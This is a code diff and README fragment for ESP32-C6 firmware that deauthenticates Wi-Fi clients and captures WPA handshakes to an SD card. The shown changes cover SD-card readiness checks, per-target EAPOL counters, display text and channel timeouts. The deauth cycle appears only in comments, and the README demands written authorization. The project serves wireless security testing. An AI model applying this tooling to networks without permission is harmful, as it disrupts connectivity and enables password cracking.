| **Legal / authorization** | Only deploy on networks you own or have **explicit written permission** to test. Unauthorized interception or disruption is illegal in many jurisdictions. |
## Release discipline
1. Bump `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` for any field release.
2. Rebuild with the same `arduino-cli` FQBN and partition scheme you ship.
3. Run a short on-bench test: scan → capture → confirm `.pcap` opens in Wireshark and shows four EAPOL-Key exchanges for the target BSSID.

View File

@@ -2,18 +2,29 @@
#include "Display_ST7789.h"
uint16_t SDCard_Size = 0;
static bool g_sd_ready = false;
bool SD_IsReady() {
return g_sd_ready;
}
bool SD_Init() {
g_sd_ready = false;
pinMode(SD_CS, OUTPUT);
digitalWrite(SD_CS, HIGH);
// Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus.
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
if (!SD.begin(SD_CS, SPI)) {
Serial.println("SD init failed");
return false;
}
if (SD.cardType() == CARD_NONE) {
Serial.println("No SD card");
SD.end();
return false;
}
g_sd_ready = true;
SDCard_Size = SD.totalBytes() / (1024 * 1024);
return true;
}

View File

@@ -9,3 +9,9 @@
extern uint16_t SDCard_Size;
bool SD_Init();
/**
* True only after the last SD_Init() completed successfully (SD.begin + valid cardType).
* Use this to gate capture — do NOT rely on SD.cardType() alone after WiFi on ESP32-C6:
* with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD".
*/
bool SD_IsReady();

View File

@@ -3,12 +3,6 @@
#include "LVGL_Driver.h"
#include "HandshakeCapture.h"
void WiFiScanner_Init(void) {
WiFi.mode(WIFI_STA);
WiFi.disconnect(false, true);
WiFi.setSleep(false);
}
void WiFiScanner_Refresh(void) {
Ui_SetWifiStatus("Scanning...");
Ui_ClearNetworkList();

View File

@@ -1,4 +1,3 @@
#pragma once
void WiFiScanner_Init(void);
void WiFiScanner_Refresh(void);

View File

@@ -1,6 +1,6 @@
/*
* WiFi Handshake Capture - ESP32-C6 1.47" LCD
* Multi-target capture: up to 3 networks per channel.
* Multi-target capture: up to 2 networks per channel (deauth + wait, rotate until all done).
* Green = pending, orange blink = active target, red = captured.
*/
@@ -12,13 +12,13 @@
enum CaptureState {
STATE_SCANNING,
STATE_CAPTURING,
STATE_WAITING
STATE_CAPTURING
};
CaptureState captureState = STATE_SCANNING;
unsigned long capture_start_time = 0;
const unsigned long CHANNEL_TIMEOUT_MS = 50000; // ~3 cycles (observe+deauth+capture)
// Hard cap per channel visit: should exceed MAX_OBSERVE_CYCLES * (observe + capture).
const unsigned long CHANNEL_TIMEOUT_MS = 150000UL;
// ─── Live capture visual update ───
@@ -69,8 +69,8 @@ void updateCaptureVisuals() {
snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s +%dc",
slot->ssid, slot->client_count);
} else {
snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s %d/2",
slot->ssid, slot->eapol_count);
snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s %d/%d",
slot->ssid, (int)slot->eapol_count, (int)HANDSHAKE_EAPOL_FRAMES);
}
Ui_SetNetworkText(i, buf);
@@ -92,13 +92,19 @@ void updateCaptureVisuals() {
last_phase = capturePhase;
}
static int last_eapol = -1;
if (capturePhase == PHASE_CAPTURING && latest_eapol_count != last_eapol) {
char ebuf[32];
snprintf(ebuf, sizeof(ebuf), "Ch %d " LV_SYMBOL_CHARGE " EAPOL %d",
current_channel, latest_eapol_count);
static uint32_t last_eapol_sig = 0xffffffffu;
uint32_t sig = 0;
for (int s = 0; s < MAX_SLOTS; s++)
sig |= (uint32_t)latest_eapol_count[s] << (8 * s);
if (capturePhase == PHASE_CAPTURING && sig != last_eapol_sig) {
char ebuf[48];
int p = snprintf(ebuf, sizeof(ebuf), "Ch%d " LV_SYMBOL_CHARGE " E", current_channel);
for (int s = 0; s < MAX_SLOTS && p < (int)sizeof(ebuf) - 6; s++) {
p += snprintf(ebuf + p, sizeof(ebuf) - (size_t)p, "%s%d",
s ? "/" : "", (int)latest_eapol_count[s]);
}
Ui_SetWifiStatus(ebuf);
last_eapol = latest_eapol_count;
last_eapol_sig = sig;
}
}
@@ -106,6 +112,9 @@ void updateCaptureVisuals() {
void setup() {
Serial.begin(115200);
delay(200);
Serial.printf("handshake-capture-c6 v%s\n", HANDSHAKE_FIRMWARE_VERSION);
LCD_Init();
Set_Backlight(100);
Lvgl_Init();
@@ -137,6 +146,14 @@ void loop() {
delay(500);
break;
}
if (!SD_IsReady()) {
SD_Init();
if (!SD_IsReady()) {
Ui_SetWifiStatus("Insert SD card");
delay(800);
break;
}
}
startMultiCapture();
if (is_capturing) {
captureState = STATE_CAPTURING;
@@ -177,9 +194,6 @@ void loop() {
}
break;
}
case STATE_WAITING:
break;
}
delay(16);